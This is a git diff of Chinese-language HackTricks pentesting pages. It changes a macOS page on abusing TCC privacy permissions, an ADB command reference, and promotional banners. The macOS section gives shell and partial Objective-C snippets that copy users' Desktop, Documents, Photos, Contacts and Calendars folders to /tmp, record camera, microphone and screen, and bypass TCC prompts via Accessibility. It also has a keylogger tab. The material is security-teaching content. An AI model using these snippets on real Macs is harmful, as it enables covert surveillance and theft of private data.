-* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。
-* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %}
### 桌面
-* **授权**: 无
-* **TCC**: kTCCServiceSystemPolicyDesktopFolder
+* **权限**:无
+* **TCC**:kTCCServiceSystemPolicyDesktopFolder
{% tabs %}
-{% tab title="ObjectiveC" %}
+{% tab title="ObjetiveC" %}
将 `$HOME/Desktop` 复制到 `/tmp/desktop`。
```objectivec
#include
@@ -56,7 +57,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
-将`$HOME/Desktop`复制到`/tmp/desktop`。
+将 `$HOME/Desktop` 复制到 `/tmp/desktop`。
```bash
cp -r "$HOME/Desktop" "/tmp/desktop"
```
@@ -70,7 +71,7 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
{% tabs %}
{% tab title="ObjetiveC" %}
-将`$HOME/Documents`复制到`/tmp/documents`。
+将 `$HOME/Documents` 复制到 `/tmp/documents`。
```objectivec
#include
#include
@@ -105,7 +106,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
-将`$HOME/`Documents复制到`/tmp/documents`。
+将 `$HOME/`Documents 复制到 `/tmp/documents`。
```bash
cp -r "$HOME/Documents" "/tmp/documents"
```
@@ -119,7 +120,7 @@ cp -r "$HOME/Documents" "/tmp/documents"
{% tabs %}
{% tab title="ObjetiveC" %}
-将`$HOME/Downloads`复制到`/tmp/downloads`。
+将 `$HOME/Downloads` 复制到 `/tmp/downloads`。
```objectivec
#include
#include
@@ -154,7 +155,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
-将`$HOME/Dowloads`复制到`/tmp/downloads`。
+将 `$HOME/Dowloads` 复制到 `/tmp/downloads`。
```bash
cp -r "$HOME/Downloads" "/tmp/downloads"
```
@@ -168,7 +169,7 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
{% tabs %}
{% tab title="ObjetiveC" %}
-将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。
+将 `$HOME/Pictures/Photos Library.photoslibrary` 复制到 `/tmp/photos`。
```objectivec
#include
#include
@@ -203,7 +204,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
-将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。
+将 `$HOME/Pictures/Photos Library.photoslibrary` 复制到 `/tmp/photos`。
```bash
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
```
@@ -217,7 +218,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
{% tabs %}
{% tab title="ObjetiveC" %}
-将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。
+将 `$HOME/Library/Application Support/AddressBook` 复制到 `/tmp/contacts`。
```objectivec
#include
#include
@@ -252,7 +253,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
-将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。
+将 `$HOME/Library/Application Support/AddressBook` 复制到 `/tmp/contacts`。
```bash
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
```
@@ -266,7 +267,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
{% tabs %}
{% tab title="ObjectiveC" %}
-将`$HOME/Library/Calendars`复制到`/tmp/calendars`。
+将 `$HOME/Library/Calendars` 复制到 `/tmp/calendars`。
```objectivec
#include
#include
@@ -301,7 +302,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
-将`$HOME/Library/Calendars`复制到`/tmp/calendars`。
+将 `$HOME/Library/Calendars` 复制到 `/tmp/calendars`。
```bash
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
```
@@ -314,8 +315,8 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars"
* **TCC**: `kTCCServiceCamera`
{% tabs %}
-{% tab title="ObjectiveC - Record" %}
-录制一个3秒的视频并保存在 **`/tmp/recording.mov`** 中
+{% tab title="ObjetiveC - 录制" %}
+录制一个3秒的视频并保存到 **`/tmp/recording.mov`**
```objectivec
#import
#import
@@ -394,8 +395,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="ObjectiveC - 检查" %}
-检查程序是否具有访问摄像头的权限。
-{% endtab %}
+检查程序是否有权访问相机。
```objectivec
#import
#import
@@ -428,7 +428,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
-使用相机拍照
+用相机拍照
```bash
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
```
@@ -441,8 +441,8 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
* **TCC**: `kTCCServiceMicrophone`
{% tabs %}
-{% tab title="ObjetiveC - Record" %}
-录制5秒音频并将其存储在 `/tmp/recording.m4a` 中
+{% tab title="ObjetiveC - 录音" %}
+录制5秒音频并将其存储在`/tmp/recording.m4a`
```objectivec
#import
#import
@@ -542,8 +542,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="ObjectiveC - 检查" %}
-检查应用程序是否具有对麦克风的访问权限。
-{% endtab %}
+检查应用程序是否有权访问麦克风。
```objectivec
#import
#import
@@ -574,25 +573,28 @@ static void telegram(int argc, const char **argv) {
{% endtab %}
{% tab title="Shell" %}
-录制一段5秒的音频并将其存储在 `/tmp/recording.wav` 中。
+录制5秒音频并将其存储在`/tmp/recording.wav`
```bash
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
```
+{% endtab %}
+{% endtabs %}
+
### 位置
{% hint style="success" %}
-要获取位置信息,必须启用**位置服务**(来自隐私与安全),否则应用程序将无法访问位置信息。
+要让应用获取位置,**位置服务**(来自隐私与安全)**必须启用,** 否则将无法访问。
{% endhint %}
-* **授权**: `com.apple.security.personal-information.location`
-* **TCC**: 已授予在 `/var/db/locationd/clients.plist` 中
+* **权限**: `com.apple.security.personal-information.location`
+* **TCC**: 在 `/var/db/locationd/clients.plist` 中授予
{% tabs %}
{% tab title="ObjectiveC" %}
-将位置信息写入 `/tmp/logs.txt`
+将位置写入 `/tmp/logs.txt`
```objectivec
#include
#include
@@ -642,7 +644,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% endtab %}
{% tab title="Shell" %}
-获取访问位置权限
+获取位置访问权限
```
???
```
@@ -656,7 +658,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% tabs %}
{% tab title="ObjectiveC" %}
-在 `/tmp/screen.mov` 中录制主屏幕 5 秒。
+在`/tmp/screen.mov`中录制主屏幕5秒
```objectivec
#import
#import
@@ -714,15 +716,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% tab title="Shell" %}
记录主屏幕5秒钟
+{% endtab %}
```bash
screencapture -V 5 /tmp/screen.mov
```
-### 辅助功能
+{% endtab %}
+{% endtabs %}
-- **权限**: 无
-- **TCC**: `kTCCServiceAccessibility`
+### 可访问性
-使用 TCC 权限来接受通过按下回车键控制 Finder 并绕过 TCC 的方式
+* **权限**: 无
+* **TCC**: `kTCCServiceAccessibility`
+
+使用 TCC 权限接受 Finder 的控制,按下回车并以此绕过 TCC
+
+{% tabs %}
+{% tab title="接受 TCC" %}
```objectivec
#import
#import
@@ -775,9 +784,8 @@ return 0;
```
{% endtab %}
-{% tab title="键盘记录器" %}
-将按键存储在 **`/tmp/keystrokes.txt`** 文件中
-{% endtab %}
+{% tab title="Keylogger" %}
+将按下的键存储在 **`/tmp/keystrokes.txt`**
```objectivec
#import
#import
@@ -885,19 +893,20 @@ return 0;
{% endtabs %}
{% hint style="danger" %}
-**辅助功能是一个非常强大的权限**,您可以以其他方式滥用它,例如,您可以执行**按键攻击**,而无需调用系统事件。
+**无障碍功能是一个非常强大的权限**,你可以以其他方式滥用它,例如你可以仅通过它执行**击键攻击**,而无需调用系统事件。
{% endhint %}
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
-* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/misc/references.md b/misc/references.md
index fb02295ac..b7175eb6e 100644
--- a/misc/references.md
+++ b/misc/references.md
@@ -1,16 +1,17 @@
+{% hint style="success" %}
+学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
@@ -58,3 +59,19 @@
{% embed url="https://pentestlab.blog/" %}
{% embed url="https://ippsec.rocks/" %}
+
+
+{% hint style="success" %}
+学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+支持 HackTricks
+
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+
+
+{% endhint %}
diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md
index d0cb2b3ff..14eafeee5 100644
--- a/mobile-pentesting/android-app-pentesting/adb-commands.md
+++ b/mobile-pentesting/android-app-pentesting/adb-commands.md
@@ -1,19 +1,20 @@
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持 HackTricks
-其他支持HackTricks的方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
-**Adb通常位于:**
+**Adb 通常位于:**
```bash
#Windows
C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe
@@ -21,31 +22,31 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe
#MacOS
/Users//Library/Android/sdk/platform-tools/adb
```
-**信息获取自:** [**http://adbshell.com/**](http://adbshell.com)
+**信息来源:** [**http://adbshell.com/**](http://adbshell.com)
# 连接
```
adb devices
```
-这将列出已连接的设备;如果出现"_**未授权**_",这意味着您必须**解锁**您的**手机**并**接受**连接。
+这将列出连接的设备;如果出现“_**未授权**_”,这意味着您必须**解锁**您的**手机**并**接受**连接。
-这指示设备必须在端口5555上启动adb服务器:
+这向设备指示它必须在端口 5555 启动 adb 服务器:
```
adb tcpip 5555
```
-连接到该 IP 和端口:
+连接到该IP和该端口:
```
adb connect :
```
-如果在虚拟Android软件(如Genymotion)中遇到以下错误:
+如果您在虚拟 Android 软件(如 Genymotion)中遇到以下错误:
```
adb server version (41) doesn't match this client (36); killing...
```
-这是因为您正在尝试连接到具有不同版本的ADB服务器。只需尝试找到软件正在使用的adb二进制文件(转到 `C:\Program Files\Genymobile\Genymotion` 并搜索 adb.exe)
+因为您尝试连接到不同版本的 ADB 服务器。只需尝试找到软件正在使用的 adb 二进制文件(转到 `C:\Program Files\Genymobile\Genymotion` 并搜索 adb.exe)
## 多个设备
-每当您发现**有多个设备连接到您的计算机**时,您需要**指定要在哪一个设备上**运行adb命令。
+每当您发现 **多个设备连接到您的机器** 时,您需要 **指定要在哪个设备上** 运行 adb 命令。
```bash
adb devices
List of devices attached
@@ -58,9 +59,9 @@ adb -s 127.0.0.1:5555 shell
x86_64:/ # whoami
root
```
-## 端口隧道
+## Port Tunneling
-如果在安卓设备中 **adb** **端口** 只能从 **本地主机** 访问,但是 **你可以通过 SSH 访问**,你可以 **转发端口 5555** 并通过 adb 连接:
+如果 **adb** **端口** 仅在安卓设备的 **localhost** 上 **可访问**,但 **您可以通过 SSH 访问**,您可以 **转发端口 5555** 并通过 adb 连接:
```bash
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
adb connect 127.0.0.1:5555
@@ -69,7 +70,7 @@ adb connect 127.0.0.1:5555
## 安装/卸载
-### adb install \[选项] \<路径>
+### adb install \[option] \
```bash
adb install test.apk
@@ -85,15 +86,15 @@ adb install -d test.apk # allow version code downgrade
adb install -p test.apk # partial application install
```
-### adb卸载 \[选项] \<包名>
+### adb uninstall \[options] \
```bash
adb uninstall com.test.app
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
```
-## 包
+## Packages
-打印所有包,可选择仅打印包名包含\文本的包。
+打印所有包,选项上只打印那些包名包含\文本的包。
### adb shell pm list packages \[options] \
```bash
@@ -117,13 +118,13 @@ adb shell pm list packages --user #The user space to quer
```
### adb shell pm path \
-打印给定应用的 APK 路径。
+打印给定 APK 的路径。
```bash
adb shell pm path com.android.phone
```
### adb shell pm clear \
-删除与一个应用程序相关的所有数据。
+删除与包相关的所有数据。
```bash
adb shell pm clear com.test.abc
```
@@ -131,19 +132,19 @@ adb shell pm clear com.test.abc
### adb pull \ \[local]
-从模拟器/设备下载指定文件到您的计算机。
+从模拟器/设备下载指定文件到你的计算机。
```bash
adb pull /sdcard/demo.mp4 ./
```
### adb push \ \
-从您的计算机上传指定文件到模拟器/设备。
+将指定文件从计算机上传到模拟器/设备。
```bash
adb push test.apk /sdcard
```
-# 屏幕截图/录屏
+# Screencapture/Screenrecord
-### adb shell screencap \<文件名>
+### adb shell screencap \
对设备显示屏进行截图。
```bash
@@ -151,7 +152,7 @@ adb shell screencap /sdcard/screen.png
```
### adb shell screenrecord \[options] \
-记录运行Android 4.4(API级别19)及更高版本的设备显示。
+录制运行 Android 4.4(API 级别 19)及更高版本的设备的显示。
```bash
adb shell screenrecord /sdcard/demo.mp4
adb shell screenrecord --size
@@ -160,27 +161,27 @@ adb shell screenrecord --time-limit